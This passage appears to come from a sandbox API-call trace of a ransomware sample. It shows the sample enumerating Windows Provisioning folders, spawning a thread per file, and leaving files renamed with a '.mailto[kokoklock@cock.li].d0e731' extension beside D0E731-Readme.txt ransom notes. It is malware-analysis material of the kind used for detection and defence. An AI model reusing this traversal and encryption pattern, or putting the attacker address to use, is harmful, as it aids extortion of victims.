(HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305cc38 [0174.026] wcscpy (in: _Dest=0x305cc38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0174.026] wcscat (in: _Dest=0x305cc38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0174.026] wcscat (in: _Dest=0x305cc38, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0174.026] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0c8ed3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.026] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.026] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30569a8 [0174.026] wcscpy (in: _Dest=0x30569a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0174.026] wcscat (in: _Dest=0x30569a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0174.027] wcscat (in: _Dest=0x30569a8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0174.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30569a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0174.027] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0c8ed3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.027] FindClose (in: hFindFile=0x2f7f9e0 | out: hFindFile=0x2f7f9e0) returned 1 [0174.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0174.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f917c0) returned 1 [0174.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f926e0) returned 1 [0174.028] RtlExitUserThread (Status=0x0) Thread: id = 2163 os_tid = 0x12b4 [0173.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91870 [0173.628] wcscpy (in: _Dest=0x2f91870, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0173.628] wcscat (in: _Dest=0x2f91870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0173.628] wcscat (in: _Dest=0x2f91870, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*" [0173.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2d18 [0173.628] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x886a0b78, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886a0b78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800a0 [0173.630] wcscmp (_String1=".", _String2=".") returned 0 [0173.630] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x886a0b78, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886a0b78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.630] wcscmp (_String1="..", _String2=".") returned 1 [0173.630] wcscmp (_String1="..", _String2="..") returned 0 [0173.630] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8867a77d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x975, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.630] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.630] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90410 [0173.630] wcscpy (in: _Dest=0x2f90410, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0173.630] wcscat (in: _Dest=0x2f90410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0173.630] wcscat (in: _Dest=0x2f90410, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0174.021] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8867a77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8867a77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8867a77d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.021] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.021] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.021] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x886a0b78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.021] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.021] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d098 [0174.021] wcscpy (in: _Dest=0x305d098, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0174.021] wcscat (in: _Dest=0x305d098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0174.022] wcscat (in: _Dest=0x305d098, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0174.022] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0a2be5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.022] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.022] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.022] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30554d0 [0174.022] wcscpy (in: _Dest=0x30554d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0174.022] wcscat (in: _Dest=0x30554d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0174.022] wcscat (in: _Dest=0x30554d0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0174.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30554d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0174.023] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0a2be5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.023] FindClose (in: hFindFile=0x2f800a0 | out: hFindFile=0x2f800a0) returned 1 [0174.024] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d18) returned 1 [0174.024] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91870) returned 1 [0174.024] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92580) returned 1 [0174.024] RtlExitUserThread (Status=0x0) Thread: id = 2164 os_tid = 0x12b8 [0173.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91920 [0173.631] wcscpy (in: _Dest=0x2f91920, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0173.631] wcscat (in: _Dest=0x2f91920, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0173.631] wcscat (in: _Dest=0x2f91920, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*" [0173.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0173.631] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8871313b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8871313b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa20 [0173.633] wcscmp (_String1=".", _String2=".") returned 0 [0173.633] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8871313b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8871313b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.633] wcscmp (_String1="..", _String2=".") returned 1 [0173.633] wcscmp (_String1="..", _String2="..") returned 0 [0173.633] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x886ece0a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x73b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.633] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.633] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90528 [0173.633] wcscpy (in: _Dest=0x2f90528, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0173.633] wcscat (in: _Dest=0x2f90528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0173.633] wcscat (in: _Dest=0x2f90528, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0174.017] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886ece0a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x886ece0a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886ece0a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.017] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.017] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.017] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8871313b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.017] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.017] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305cb20 [0174.017] wcscpy (in: _Dest=0x305cb20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0174.017] wcscat (in: _Dest=0x305cb20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0174.017] wcscat (in: _Dest=0x305cb20, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0174.018] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0567d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.018] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.018] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30568f0 [0174.018] wcscpy (in: _Dest=0x30568f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0174.018] wcscat (in: _Dest=0x30568f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0174.018] wcscat (in: _Dest=0x30568f0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0174.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30568f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0174.019] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0567d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.019] FindClose (in: hFindFile=0x2f7fa20 | out: hFindFile=0x2f7fa20) returned 1 [0174.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0174.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91920) returned 1 [0174.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92630) returned 1 [0174.020] RtlExitUserThread (Status=0x0) Thread: id = 2165 os_tid = 0x12bc [0173.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f919d0 [0173.634] wcscpy (in: _Dest=0x2f919d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0173.634] wcscat (in: _Dest=0x2f919d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0173.634] wcscat (in: _Dest=0x2f919d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*") returned="C:\\Users\\All 